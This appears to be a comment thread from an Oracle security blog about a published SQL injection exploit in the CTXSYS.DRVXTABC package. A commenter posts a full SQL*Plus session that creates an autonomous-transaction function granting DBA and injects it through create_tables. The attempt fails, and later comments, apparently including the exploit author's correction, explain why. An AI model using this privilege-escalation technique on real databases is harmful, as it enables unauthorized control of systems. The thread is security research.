Pete Finnigan's Oracle Security Weblog

Pete Finnigan says:

seems that it doesnt work, man

i think because ctxsys doesnt have dba role.

have u ever tried to run it?

SQL> CREATE OR REPLACE FUNCTION OWN RETURN NUMBER
2 AUTHID CURRENT_USER AS
3 PRAGMA AUTONOMOUS_TRANSACTION;
4 BEGIN
5 EXECUTE IMMEDIATE 'GRANT DBA TO TEST3'; COMMIT;
6 RETURN(0);
7 END;
8 /

Function created.

SQL> select * from user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
TEST3 CONNECT NO YES NO
TEST3 RESOURCE NO YES NO

SQL> select * from user_sys_privs;

USERNAME PRIVILEGE ADM
------------------------------ ---------------------------------------- ---
TEST3 UNLIMITED TABLESPACE NO

SQL> exec ctxsys.drvxtabc.create_tables(''user'"."x" as select * from dual w
here 'USER'.own=0--','x',2);
BEGIN ctxsys.drvxtabc.create_tables(''user'"."x" as select * from dual where
'USER'.own=0--','x',2); END;

*
ERROR at line 1:
ORA-06510: PL/SQL: unhandled user-defined exception
ORA-06512: at "CTXSYS.DRVXTABC", line 190
ORA-06510: PL/SQL: unhandled user-defined exception
ORA-06512: at "CTXSYS.DRVXTABC", line 23
ORA-01031: insufficient privileges
ORA-06512: at line 1

SQL> select * from user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
TEST3 CONNECT NO YES NO
TEST3 RESOURCE NO YES NO

SQL> select * from v$version;

BANNER
----------------------------------------------------------------
Oracle Database 10g Enterprise Edition Release 10.1.0.2.0 - Prod
PL/SQL Release 10.1.0.2.0 - Production
CORE 10.1.0.2.0 Production
TNS for 32-bit Windows: Version 10.1.0.2.0 - Production
NLSRTL Version 10.1.0.2.0 - Production

SQL>

Pete Finnigan says:

I try on Oracle Database 10g XE
and it not work...
Maybe because "CREATE OR REPLACE package drvxtabc authid current_user as" ?

Pete Finnigan says:

Thanks for the comments guys; i dont have a 10g database to try it on, i simply posted the links as requested. Usually Bunkers exploits work. DSU says that the package DRVXTABC is current_user so the user running the exploit would not benefit from CTXSYS roles such as DBA, even for definer rights code the owners roles are turned off.

I have emailed Andrea to ask him to post here and answer your questions.

cheers

Pete

Pete Finnigan says:

Hi guys!

I'm really sorry for the mistake. The released code about this flaw seems not working because of the "authid current_user" clause used during the creation of the DRVXTABC package (as noticed into the previous post).
There were some troubles with my test DB that drive me into the wrong way. As previously reported by Alexandr Polyakov, the injection still works but impacts only confidentiality and integrity.
I sent a correction to bugtraq.

Sorry again :

Andrea

Pete Finnigan says:

Just a nitpick: Do you really need that commit after the grant? It's already done two...